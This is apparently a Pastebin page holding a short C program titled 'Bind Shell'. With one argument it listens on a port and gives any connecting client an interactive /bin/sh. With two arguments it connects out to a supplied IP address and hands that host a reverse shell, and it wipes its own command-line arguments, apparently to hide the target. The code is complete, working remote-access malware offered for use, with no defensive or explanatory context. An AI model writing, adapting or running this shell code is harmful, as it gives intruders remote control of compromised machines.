Advertisement
aljazara

Bind Shell

Mar 14th, 2014
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.19 KB | None | 0 0
  1. /* say thank's to aldjazara :) */
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <stdlib.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <unistd.h>
  9. int main(int argc,char *argv[]){
  10.     int s,c,o=1;
  11.     struct sockaddr_in i;
  12.     if(argc==2){
  13.         i.sin_family=AF_INET;
  14.         i.sin_port=htons(atoi(argv[1]));
  15.         i.sin_addr.s_addr=htonl(INADDR_ANY);
  16.         s=socket(AF_INET,SOCK_STREAM,0);
  17.         setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&o,sizeof(o));
  18.         if(!s)exit(0);
  19.         bind(s,(struct sockaddr *)&i,0x10);
  20.         listen(s,5);
  21.         c=accept(s,0,0);
  22.         send(c,"parad0x shell : connected\n",24,0);
  23.         dup2(c,0);
  24.         dup2(c,1);
  25.         dup2(c,2);
  26.         system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
  27.         close(c);
  28.     }
  29.     else if(argc==3){
  30.         i.sin_family=AF_INET;
  31.         i.sin_port=htons(atoi(argv[1]));
  32.         i.sin_addr.s_addr=inet_addr(argv[2]);
  33.         bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
  34.         s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  35.         if((connect(s,(struct sockaddr *)&i,sizeof(struct sockaddr)))<0)exit(0);
  36.         send(s,"parad0x shell : connected\n",24,0);
  37.         dup2(s,0);
  38.         dup2(s,1);
  39.         dup2(s,2);
  40.         system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
  41.         close(s);
  42.     }
  43. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement